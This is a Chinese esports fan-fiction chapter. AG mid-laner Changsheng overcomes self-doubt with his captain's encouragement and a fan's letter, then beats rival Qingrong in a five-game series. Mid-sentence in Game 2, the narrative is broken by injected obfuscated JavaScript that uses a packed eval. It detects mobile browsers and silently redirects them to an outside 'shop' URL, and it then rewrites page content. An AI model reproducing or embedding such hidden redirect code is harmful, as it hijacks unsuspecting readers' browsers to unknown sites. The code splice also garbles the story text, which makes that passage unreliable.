2022年4月，成都AG超玩会基地
春雨绵绵，敲打着训练室的窗户，在玻璃上留下蜿蜒的水痕。室内暖气开得很足，但长生还是觉得指尖冰凉——不是冷的，是紧张的。
他盯着电脑屏幕上密密麻麻的数据表格，那是分析师刚整理出来的春季赛中单英雄登场率统计。排在前三的分别是：沈梦溪、弈星、周瑜——都是工具人中单，清线快，支援快，控制足，但carry能力有限。
“中核时代？”长生推了推眼镜，自言自语。
这个词最近在电竞圈疯传。版本更新后，中单经济占比平均提高了8%，核心输出中单的胜率暴涨。干将莫邪、不知火舞、上官婉儿——这些曾经被版本抛弃的法刺英雄，重新回到了赛场中央。
而长生，AG的中单，正好是法刺绝活哥。
手机震动，是妈妈发来的消息：“儿子，妈妈看到新闻了，说现在版本对你有利。好好打，别紧张。”
长生盯着那条消息，手指在键盘上悬停。他想说“我会的”，但打出来的字又删掉了。
压力太大了。
春季赛开赛至今，AG战绩7胜2负，排在联盟第三。一诺的手腕基本康复，状态稳步回升。钟意的坦野炉火纯青，大帅的指挥愈发老辣，轩染的边路稳如泰山。
而他，长生，作为队伍的中单，数据却很尴尬：场均输出22.3%，联盟中单第九；分均经济480，联盟中单第十一；MVP次数2次，联盟中单第十四。
中游，甚至偏下。
“在想什么？”
身后传来声音。长生回头，看到徐必成端着两杯咖啡走过来，递给他一杯。
“没什么。”长生接过咖啡，热气氤氲了镜片。
“别骗我。”徐必成在他旁边坐下，“你最近训练赛走神次数增加了37%，复盘时话少了52%，晚上在训练室待到凌晨三点的频率提高了80%——数据分析师说的。”
长生苦笑：“诺哥，你连这都关注？”
“我是队长。”徐必成说，“关注队友的状态，是我的责任。”
两人沉默了一会儿，只有雨声敲打窗户。
“诺哥，你觉得……我配打中核吗？”长生忽然问。
徐必成愣了一下：“为什么这么问？”
“版本对我有利，队伍需要我carry，粉丝期待我爆发。”长生握紧咖啡杯，“但我打出来的数据……很难看。工具人中单我玩得还行，但法刺……我总觉得自己差一点。”
“差哪一点？”
“差……”长生想了想，“差那种‘我一定要杀你’的狠劲。你看清融的不知火舞，那种进场的气势，那种必杀的决心。我……我没有。”
徐必成没说话，只是喝了一口咖啡。
良久，他才开口：“长生，你知道我2019年打总决赛的时候，在想什么吗？”
“想赢？”
“不。”徐必成摇头，“我想的是——我要秀。我要让所有人都记住我的操作，我要打出名场面，我要成为传奇。”
他顿了顿：“但2021年我手术回来，再打比赛的时候，想的就不是这些了。我想的是——怎么赢。用什么方式赢不重要，重要的是赢。我可以用公孙离carry赢，也可以用狄仁杰躺赢。只要赢了，就行。”
长生若有所思。
“你现在缺的不是技术，是心态。”徐必成看着窗外，“你想的是‘我能不能carry’，而不是‘我怎么带队伍赢’。法刺和工具人的区别，不只是英雄，是思维方式。工具人想的是——我怎么帮队友？法刺想的是——我怎么杀穿对面？”
雨声渐大，训练室的灯光在窗户上投下两人的倒影。
“明天打狼队，我们会围绕你打。”徐必成站起来，“你是核心，所有的经济都给你，所有的保护都给你。你要做的，就是相信自己，然后——杀穿他们。”
说完，他拍了拍长生的肩膀，离开了训练室。
长生一个人坐在那里，盯着电脑屏幕上自己的比赛录像。
画面里，他的不知火舞在团战边缘徘徊，寻找进场机会，但总是犹豫，总是错过最佳时机。
差一点。
就是差那一点决心。
他关掉录像，打开训练营。选不知火舞，对着木桩练习连招。一闪接大，二技能接被动，一技能接闪现——每个连招都练了上百遍。
练到手指发麻，练到眼睛发花。
但他知道，技术不是问题。
问题在心里。
---
同一时间，上海医学院图书馆。
林晓晓盯着笔记本电脑上的论文，但一个字也看不进去。屏幕上开着KPL的官网，AG的赛程表高亮显示——明天，AG vs 重庆狼队。
她点开狼队的数据分析。清融，联盟顶级中单，法刺绝活哥，本赛季MVP次数5次，场均输出27.8%，分均经济510。
而长生，MVP次数2次，场均输出22.3%，分均经济480。
差距明显。
手机震动，是陈薇发来的微信：“晓晓，看了明天的赛前分析吗？长生对清融，中路对决，被认为是比赛的关键。”
“看了。”林晓晓回复，“长生压力会很大。”
“你觉得他能赢吗？”
林晓晓想了想，回复：“不知道。但我知道，他需要有人相信他。”
关掉微信，她打开微博，找到长生的超话。里面大多是加油帖，但也有不和谐的声音：
“长生打打工具人就得了，法刺真不行”
“中路差距，AG明天难了”
“清融教做人”
她咬了咬嘴唇，开始打字。
不是分析，不是预测，是一封信。
“长生选手，你好。我是你的粉丝，也是医学院的学生。我不懂电竞战术，但我知道，人在面对巨大压力时，身体会分泌肾上腺素，心跳会加快，手心会出汗——这是正常的生理反应，不是恐惧，是身体在准备战斗。
我知道你现在压力很大。版本对法刺有利，队伍需要你carry，所有人都看着你。但我想告诉你，没关系。赢了，我们为你欢呼；输了，我们陪你复盘。你不是一个人在战斗，你的身后有队友，有教练，还有我们这些相信你的人。
所以，放开打吧。不要想‘我能不能carry’，就想‘我要怎么赢’。输赢很重要，但比输赢更重要的是——你有没有拼尽全力。
明天，我会去现场。我会举着你的应援牌，大声喊你的名字。不为别的，只为告诉你：有人相信你，一直相信。”
点击发送。
然后，她打开购票软件，买了明天去成都的机票。
---
次日，成都主场。
能容纳三千人的场馆座无虚席。AG的黑色应援灯和狼队的红色应援灯把观众席分割成两个阵营，像两军对垒。
林晓晓坐在第三排，手里举着连夜赶制的手幅——上面画着Q版的长生，旁边写着“长生不老，法刺通天”。陈薇坐在她旁边，手里拿着AG的队旗。
“紧张吗？”陈薇问。
“嗯。”林晓晓点头，“比我自己考试还紧张。”
舞台上，两队选手已经入场。长生走在队伍中间，戴着一副黑框眼镜，表情严肃。导播给了一个特写镜头，能清楚看到他额角的汗珠。
解说席上，Cat穿着深蓝色西装，正在分析阵容。
“今天的关键对决在中路。”Cat说，“清融是现役第一法刺，长生是新生代中单的代表。这场对决，将决定比赛的走向。”
李九接话：“而且版本对法刺有利，两支队伍都可能围绕中单打。就看哪边的中单能carry起来了。”
BP开始。
狼队蓝色方，第一轮禁用了镜和澜——针对钟意。AG则按掉了大乔和鲁班大师。
狼队一楼抢下了清融的招牌英雄——不知火舞。
现场一片哗然。在对手面前抢招牌英雄，这是赤裸裸的挑衅。
AG这边，教练Awoke看向长生：“敢拿干将吗？”
长生盯着那个不知火舞的头像，深吸一口气：“拿。”
一楼锁定干将莫邪。
“针尖对麦芒！”李九激动地说，“清融不知火舞对阵长生干将莫邪，中路对决直接拉满！”
狼队二三楼拿出了Fly的关羽和小胖的裴擒虎。
AG三四楼选择了徐必成的马可波罗和钟意的阿古朵。
狼队最后两手锁定了妖刀的公孙离和帆帆的张飞。
AG五楼，轩染拿出了他的招牌英雄——花木兰。
阵容确定：
AG：干将莫邪（长生）、马可波罗（一诺）、阿古朵（钟意）、太乙真人（大帅）、花木兰（轩染）
狼队：不知火舞（清融）、公孙离（妖刀）、裴擒虎（小胖）、张飞（帆帆）、关羽（Fly）
加载界面，长生活动了一下手指。
冰凉，僵硬。
耳机里传来徐必成的声音：“长生，记住昨天说的。你是核心，我们都保你。你只管输出，别的不用管。”
“明白。”长生说，声音有些发紧。
游戏开始。
开局，清融的不知火舞打得极其凶悍。一级就压线，二级就消耗，三级就想单杀。长生的干将虽然手长，但在不知火舞的灵活面前，还是有些吃力。
“需要帮忙吗？”钟意问。
“不用。”长生说，“我能稳住。”
但稳住是不够的。中核版本，中单不仅要稳住，还要carry。四分钟，暴君刷新，双方在龙坑集结。
第一波团战，决定前期节奏。
清融的不知火舞在侧翼寻找机会。长生的干将莫邪在后方蓄力。两人都在等，等对方先动。
然后，清融动了。
不知火舞一闪进场，目标直指徐必成的马可波罗！但徐必成净化秒解，反手一技能扫射。几乎同时，长生的干将莫邪四剑齐发——
但空了。
清融的不知火舞用被动位移躲开了所有飞剑，反手一套连招秒掉大帅的太乙真人！
“First Blood！”
不知火舞拿下一血！
“清融！”李九惊呼，“完美的进场时机，完美的操作！”
AG团战溃败，丢掉暴君，经济落后一千。
长生盯着灰色的屏幕，手指在颤抖。
刚才那波，他的干将如果命中，不知火舞必死，团战结果完全不一样。但他犹豫了——在释放技能的瞬间，他想到的是“万一空了怎么办”，而不是“一定能中”。
就是这零点几秒的犹豫，让四剑空了。
“我的问题。”他说。
“没事。”徐必成很冷静，“下一波找回来。”
但接下来的比赛，长生越打越急。想证明自己，想carry队伍，结果操作越来越变形。干将的飞剑十次有七次空，团战输出严重不足。
而清融的不知火舞，像一把匕首，每一次进场都直插AG的心脏。
十五分钟，经济差扩大到五千。
二十分钟，风暴龙王团。清融的不知火舞闪现开团，秒掉徐必成的马可波罗和长生的干将莫邪。
双C阵亡，AG团灭。
狼队带着兵线，一波推平水晶。
0:1。
AG输掉第一局。
---
中场休息，AG休息室。
气氛凝重得能拧出水来。
长生坐在角落里，低着头，眼镜片反着光，看不清表情。钟意想说点什么，但被徐必成用眼神制止了。
Awoke在白板上快速画着下一局的战术：“狼队的中路压制太强，我们不能和他们拼中单。第二局，我们打野核，围绕钟意打。”
“可是版本……”大帅想说版本对中单有利。
“版本重要，但赢比赛更重要。”Awoke说，“长生，第二局你拿张良，工具人中单，保钟意发育。”
长生抬起头，声音沙哑：“教练，我想再试一次。”
“试什么？”
“试法刺。”长生说，“我想和清融再拼一次。”
Awoke皱眉：“你的状态……”
“我能调整过来。”长生站起来，“刚才那局，我太想证明自己了，反而打不好。这一局，我不想了。我就想赢。不管用什么方式，只要能赢，就行。”
他看向徐必成，眼神里有种不一样的东西——不再是犹豫，而是决绝。
徐必成笑了：“好。第二局，我们继续打中核。但这一次，长生，你要记住——你不是在证明自己，你是在带队伍赢。”
“明白。”
休息时间结束，五人重新上场。
导播给了一个特写镜头——长生在活动手指，表情平静，眼神专注。
“AG好像调整过来了。”李九说，“看长生的表情，比第一局沉稳了很多。”
---
第二局BP开始。
AG蓝色方，一楼锁定了不知火舞——长生要拿清融的招牌英雄，对阵清融。
现场一片惊呼。这是回应，是挑战，是电竞选手之间最直接的对话。
清融看到这个选择，笑了。他在语音里说：“有意思。”
狼队反手拿出了清融的另一绝活——上官婉儿。既然你要拼法刺，那就拼到底。
阵容确定：
AG：不知火舞（长生）、马可波罗（一诺）、阿古朵（钟意）、张飞（大帅）、花木兰（轩染）
狼队：上官婉儿（清融）、公孙离（妖刀）、裴擒虎（小胖）、东皇太一（帆帆）、关羽（Fly）
加载界面，长生闭上眼睛，深呼吸。
耳机里传来队友的声音：
“长生，我相信你。”——徐必成
“我帮你抢线。”——钟意
“我保护你。”——大帅
“我切后排。”——轩染
长生睁开眼睛，眼神锐利如刀。
“这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028851|194480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
局，我会carry。”
游戏开始。
开局，长生打得异常沉稳。不清线，只补刀，不做无谓的消耗。清融的上官婉儿想压他，但长生的不知火舞走位极其刁钻，总是卡在技能的极限距离。
“他在学我。”清融在语音里说，“学我的打法，学我的节奏。”
但长生不止在学，还在创新。三分钟，他升到四级，没有像常规那样去抓边，而是——入侵野区。
配合钟意的阿古朵，直接反掉了小胖的红Buff。清融的上官婉儿想来支援，但被徐必成的马可波罗拖住。
节奏开始转向AG。
六分钟，中路河道之灵刷新。双方集结，准备打团。清融的上官婉儿想要起飞，但长生的不知火舞更快——一闪进场，秒掉妖刀的公孙离！
“First Blood！”
不知火舞拿下一血！
“漂亮！”Cat在解说席上喝彩，“这波进场时机完美！长生完全预判了清融的想法！”
接下来的比赛，长生彻底打开了。他的不知火舞像幽灵一样在战场上穿梭，每一次进场都带走一个人头。清融的上官婉儿虽然也操作拉满，但面对一个完全打开的长生，还是显得有些无力。
十二分钟，AG经济领先三千。
十五分钟，风暴龙王团。清融的上官婉儿想要绝命一波，但长生的不知火舞从侧面进场，一套连招秒掉上官婉儿！
核心阵亡，狼队团战溃败。AG拿下龙王，带着兵线一波推平水晶。
1:1！
AG扳回一局！
“长生！”李九激动地喊道，“他做到了！在清融面前，用清融的招牌英雄，carry了比赛！”
现场AG粉丝沸腾了。林晓晓跳起来，用力挥舞着手幅。陈薇也激动得眼眶发红。
舞台上，长生摘下耳机，擦了擦额头的汗。
手还在抖，但这次不是因为紧张，是因为兴奋。
“打得好。”徐必成拍拍他肩膀。
“还没完。”长生说，“下一局，继续。”
---
第三局，狼队调整战术，疯狂针对中路。
但长生已经找到了节奏。你针对我，我就游走。你压我线，我就放线。你抓我，我就反蹲。
这一局，他拿了工具人中单——张良。但和第一局的张良不同，这一局，他的张良是节奏发动机。大招永远留给关键人物，游走永远快人一步。
2:1，AG反超比分。
第四局，清融拿出了压箱底的英雄——干将莫邪。他要和长生拼刺刀。
长生选了上官婉儿。
两个法刺，两个绝活，正面硬刚。
这一局打得天昏地暗。中路成了修罗场，两个人从一级打到十五级，从线上打到野区，从暴君打到风暴龙王。
最终，长生赢了。
他的上官婉儿在风暴龙王团中，极限换掉清融的干将，为队友创造了收割机会。
3:1，AG拿下赛点！
---
第五局，巅峰对决。
双方阵容完全镜像：不知火舞、马可波罗、阿古朵、张飞、花木兰。
十个一模一样的英雄，绝对的公平，也绝对的残酷。
加载界面，长生在语音里说：“这一局，我会杀穿中路。”
“我们相信你。”四个队友齐声说。
游戏开始。
这一局，双方都打得极其谨慎。前十分钟，人头比2:2，经济差始终在五百以内。
导播很懂地把镜头在中路对线上。大屏幕上，长生的不知火舞和清融的不知火舞在兵线间穿梭，技能互换，走位博弈。
两个顶级中单，在镜像对决中，展现着极致的操作。
十三分钟，暴君团。
决定胜负的一波。
清融的不知火舞在侧翼寻找机会。长生的不知火舞在后方蓄力。两人都在等，等对方先动。
和第一局一样。
但这一次，长生先动了。
不知火舞一闪进场——但不是冲向清融，是冲向妖刀的马可波罗！
声东击西！
清融的反应快到极致，立刻跟上输出。但长生的不知火舞在秒掉马可波罗后，瞬间回头，一套连招打在清融身上！
一打二，双杀！
“Double Kill！”
“长生！”Cat的声音已经嘶哑，“他做到了！在巅峰对决中，完成了对清融的双杀！”
核心双C阵亡，狼队团战溃败。AG拿下暴君，带着兵线推上高地。
狼队顽强抵抗，但终究不敌。
水晶爆炸。
4:1！
AG战胜狼队！
---
现场彻底疯狂了。
AG粉丝区，所有人都在尖叫，在欢呼，在哭泣。林晓晓抱着陈薇，泪流满面。
舞台上，AG五人紧紧拥抱。钟意激动得跳起来，大帅和轩染击掌，徐必成红着眼眶。
长生摘下眼镜，擦了擦眼泪。
导播把镜头给到他。大屏幕上，这个19岁的中单少年，哭得像个孩子。
赛后采访，记者把话筒递给长生。
“今天carry全场，感觉怎么样？”
长生想了想，说：“不是carry，是团队。没有队友的保护，没有队友的信任，我打不出这样的表现。是他们相信我，我才敢打。”
“那和清融的对决呢？赛前很多人都说，这是‘中单教学局’。”
长生笑了：“我确实从他身上学到了很多。第一局，他教会了我——中单不仅要操作，还要心态。后几局，我想明白了——我不是要战胜清融，我是要带着AG赢。赢了，就够了。”
采访结束，长生回到后台。
手机震动，是妈妈发来的消息：“儿子，妈妈看了比赛，哭了。你长大了。”
长生盯着那条消息，很久。
然后他回复：“妈，这才刚刚开始。”
---
深夜，AG基地训练室。
长生没有复盘比赛，而是打开了明天的对手——广州TTG的比赛录像。TTG的中单九尾，也是法刺绝活哥，实力不在清融之下。
但他不紧张了。
因为现在他知道，他不是一个人在战斗。
他有队友，有信任，有整个团队。
中核时代，不只是中单carry的时代。
是中单带领团队赢的时代。
而他，准备好了。
窗外，雨停了，月光透过云层洒下来。
长生看着自己的手，手指修长，掌心有薄茧。
这只手，曾经犹豫过，颤抖过。
但现在，它很稳。
稳到可以握住整个团队的希望。
稳到可以carry整个赛季的荣光。
中核时代的序幕，才刚刚拉开。
而他，要成为这个时代的——主角。
【第十三章·完】